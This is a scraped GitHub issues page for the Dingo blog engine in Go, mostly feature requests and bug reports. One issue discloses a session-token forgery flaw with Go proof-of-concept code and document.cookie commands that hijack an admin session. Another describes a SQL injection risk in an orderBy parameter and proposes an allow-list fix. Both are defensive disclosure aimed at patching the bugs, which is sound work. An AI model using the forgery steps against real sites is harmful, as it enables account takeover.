dingoblog / dingo Goto Github PK
View Code? Open in Web Editor NEWBlog engine written in Go
License: MIT License
Blog engine written in Go
License: MIT License
Steps to reproduce:
1
exists)app/model/token.go
, change the NewToken
function so it uses a set time (this is just to make it easier to reproduce this bug)var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
func NewToken(u *User, ctx *golf.Context, expire int64) *Token {
t := new(Token)
t.UserId = u.Id
t.CreatedAt = utils.Now()
expiredAt := t.CreatedAt.Add(time.Duration(expire) * time.Second)
t.ExpiredAt = &expiredAt
t.Value = utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), t.UserId))
return t
}
Once you've done that, login to Dingo so you have an active session associated with your User ID. Once you've done that, you're all done on the Dingo side of things for now. Next, create a new file and run the following code:
package main
import (
"fmt"
"time"
"github.com/dinever/golf"
"github.com/dingoblog/dingo/app/utils"
)
var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
func forgedTokenHandler(ctx *golf.Context) {
forgedToken := utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), 1))
ctx.Response.Write([]byte(forgedToken))
}
func main() {
app := golf.New()
app.Get("/", forgedTokenHandler)
app.Run(":3000")
}
Start that server, and visit http://localhost:3000. There, you'll see a SHA that probably looks something like a9a596375f3313c1649edf3db2f9845fc0874056
. Copy that SHA, open a new Incognito window and visit your Dingo blog again. Try to visit the /admin
route. You'll be redirected to the /login
route of course, since you're not logged in, but we're not done yet! Open the dev tools console and run:
document.cookie = "token-user=1; path=/";
// Swap out the <SHA> here with the SHA you copied earlier
document.cookie = "token-value=<SHA>; path=/";
After you run that, try to access /admin
again. If you did everything right, you'll be logged in as that user!
To address this, I think we should just work on implementing secure cookies and sessions in Golf itself. We could work on dinever/golf#12, and borrow the secure session and cookie logic from gorilla/sessions, since their implementation is rock-solid and secure.
It should also be noted that it's fairly hard to attack this as-is, since you'd need to know a lot about the user, and be able to figure out the time the user's token was created. That stuff is susceptible to brute-force attacks though, and since Golf and Dingo perform so well, you could try a lot of different times per second using the API.
Currently, Dingo uses template rendering for the dashboard view.
It would be great if we take the rendering logic to front-end. (e.g. using Angular Material)
This will not be done until RESTful API is implemented. #6
Current published blog posts are descending order by created date(time). Welcome Post (Welcome to Dingo!
) always comes to the Top post.
In post.go we have
func (posts *Posts) GetAllPostList(isPage bool, onlyPublished bool, orderBy string) error {
var where string
if isPage {
where = `page = 1`
} else {
where = `page = 0`
}
if onlyPublished {
where = where + `AND published`
}
err := meddler.QueryAll(db, posts, fmt.Sprintf(stmtGetAllPostList, where, orderBy))
return err
}
The issue is that, since this function accepts orderBy
as any string, that means a SQL statement could be passed as an argument, and it will be evaluated in the query! This would open Dingo up to SQL injection attacks. I checked through the code briefly and there are not any instances where we pass an argument to orderBy
from any public-facing code (we only hard-code the value in two places), but I think for safety's sake it'd be good to change this. My suggestion is that we use a map of "safe" values for orderBy
, like:
var safe = map[string]string{
"createdAt": "created_at",
"publishedAt": "published_at",
}
// then use it like
func isSafe(orderBy string) string {
if val, ok := safe[orderBy]; ok {
return val
}
return "some_acceptable_default_value"
}
anyway that's just a quick suggestion, I'll look into it some more to ensure that's truly a safe solution and then open a PR, I know you're busy right now @dinever
It would be great if we can show some web analytics information on the dashboard. For example:
To implement this, we need two new endpoints. For, example:
/track/track.js
/track/track.gif
track.js
is a simple JS script that request the 1 pixel GIF image from the backend server, with URL, page title and referrer(URL of the previous webpage) as parameters.
(function(){
var d = document, i = new Image, e = encodeURIComponent;
i.src = '/track/track.gif&url=' + e(d.location.href) + '&ref=' + e(d.referrer) + '&t=' + e(d.title);
}
)()
track.gif
is a 1 pixel GIF image, hard-coded in the backend server. When track.gif
is requested, the server takes the parameters described above as well as the request header information, and insert an entry in the table page_views
of the database:
CREATE TABLE "pageview" (
"id" INTEGER NOT NULL PRIMARY KEY,
"url" TEXT NOT NULL,
"timestamp" DATETIME NOT NULL,
"title" TEXT NOT NULL,
"ip" VARCHAR(255) NOT NULL,
"referrer" TEXT NOT NULL,
"headers" TEXT NOT NULL,
"params" TEXT NOT NULL
);
CREATE INDEX "pageview_timestamp" ON "pageview" ("timestamp");
It would be great if we can implement a cover image field for each post.
Please see reproduce steps:
$ git log --oneline -p -1
601a49d Merge pull request #22 from dinever/admin_ui
go run main.go
It returns not found page. (Even from http://localhost:8000/login to push SIGN UP, it shows not found page.)
If we create a new page from /admin/pages/
, edit and then save it, the page will be turned into a post, which is not an expected behavior.
The reason behind this is that when saving an existing page, we are actually using the route POST /admin/editor/:id/
. The request is handled by PostSaveHandler
, which sets p.IsPage = false
.
We may need to create a new general handler(e.g. ContentSaveHandler
) for POST /admin/editor/:id/
. The handler should retrieve the existing post/page by id, change the fields according to form value and save it.
In addition, by doing this we will have some duplicate code among ContentSaveHandler
, PostSaveHandler
and PageSaveHandler
. It would be great if we can extract some code from them and avoid the duplication.
I'm thinking about creating an organization for this project. Then we can move this repo into the org, and add our contributors as organization members.
However, we need a logo for the avatar of the future organization. Otherwise, Dingo will lose its coolness with the default avatar from GitHub.
Please check following reproduce steps:
step1. Start dingo
$ go run main.go
Database is used at dingo.db
Application Started on port 8000
step2. Access to invalid page (before login)
e.g. http://localhost:8000/foo
This steps produces 500 Internal error with go panic.
Sometimes our CI raises this error:
Failures:
* /home/travis/gopath/src/github.com/dinever/dingo/app/handler/admin_test.go
Line 47:
Expected: '200'
Actual: '301'
(Should be equal)
However, it passes if we restart the test job. I believe this is because authenticatedContext()
didn't generate a good, authenticated context. Maybe we need to come up with a better way to mock up authenticated requests.
Currently Dingo uses SimpleMDE as its built-in post editor. However, I would ❤️ to hear your voice about which editor you prefer the most.
To improve the user experience we may also want to implement a drag and drop image upload
feature in the editor box.
Hi @dinever :
I forked a copy of dingo, and modified it to embed all static files into binary, include the template files. the static files layout are heavily changed, so maybe it's hard to get compatible with the current codes.
I don't know if any others like this idea. Reason that I do this is the ease of deployment/migration(of course it became harder to modify themes).
If you would like to merge the commits, I'll help it.
If it's useless, just ignore this. thanks :)
The repo: https://github.com/kran/dingo
From Web UI,
Posts
->+(Add)
->SAVE
doesn't work. No answer from browser, although console outputs the access The 2016/04/29 - 19:49:24 | 400 | 627.657µs | ::1 | POST /admin/editor/post/
. I tested Firefox 44.0 and Chrome 48.0.2564.103.
As far as I tested, the issue happened between these commits:
commit 48d6cca055bfea7729329c6dea5b7448fc71c5f2 worked well.
commit 33dc9a5a40121edba8d8a2d60d61a58fe4a79747 doesn't work.
Let's build a contributors
page which lists our contributors from github.com/dinever/dingo/graphs/contributors as a thank-you and encourage more people to get involved into this.
I'm thinking about writing a script to automatically fetch information from this GitHub API and creates a .go
file before each release in the future.
From template file, I found it calls {{ DateInt64 .CreateTime "YYYY-MM-DD"}}.
But in func registerFuncMap() , DateInt64 is not registered. Is it missing?
As we need to create a Dingo app mock-up for testing handlers, we need to register all of the routes in app/app.go for the app mock-up. However, we can not import github.com/dinever/dingo/app
in handlers because of cyclic imports.
The temporary solution is to create a copy of those routes in app/handler/urls.go, which is pretty clumsy. We need to come up with a way to handle this gracefully.
in safari it notify :Error:invalid email address, but chrome wont.
and if the password length less than 4 chars, safari do not notify error info too.
Current way of starting dingo server.
$ cd $GOPATH/src/github.com/dingoblog/dingo
$ go run main.go --port 8000
This can be changed to something like
$ dingo serve --port 8000
If you feel this is good, Just let me know, I can crush a weekend or two and give a PR.
I'm planning to add a button in the README file so that users can easily deploy the application without owning a server.
However, Heroku does not support SQLite for some security reasons. So let's add some support for PostgreSQL which Heroku supports very well.
This shouldn't be hard to achieve as we already have those SQL statements. To switch between SQLite and PostgreSQL/MySQL let's add an environment variable named DATABASE_URL
, which indicates the URL of the PostgreSQL/MySQL server. If the environment variable is not set, use SQLite instead.
step-1. Go to file upload page - http://localhost:8000/admin/files/
step-2. Choose and upload JPG file. (Push OK)
Result:
2016/05/11 - 22:24:39 | 200 | 1.404017ms | ::1 | POST /admin/files/upload/
The scss files for Dingo looks a little bit messy. Let's tidy it.
So that we can build the dashboard based on AJAX.
Related: #5
Let's implement a built-in search feature just like how wordpress handles it.
I will do some digging and propose the implementation details.
Currently, categories
in Dingo does not work at all.
categories
is basically like tags
. The only difference is that it is hierarchical.
For instance, the user may have categories named Programming
and Python
. In this case, Programming
should be the parent of Python
.
We may need to introduce some category management interface in the admin panel as well.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.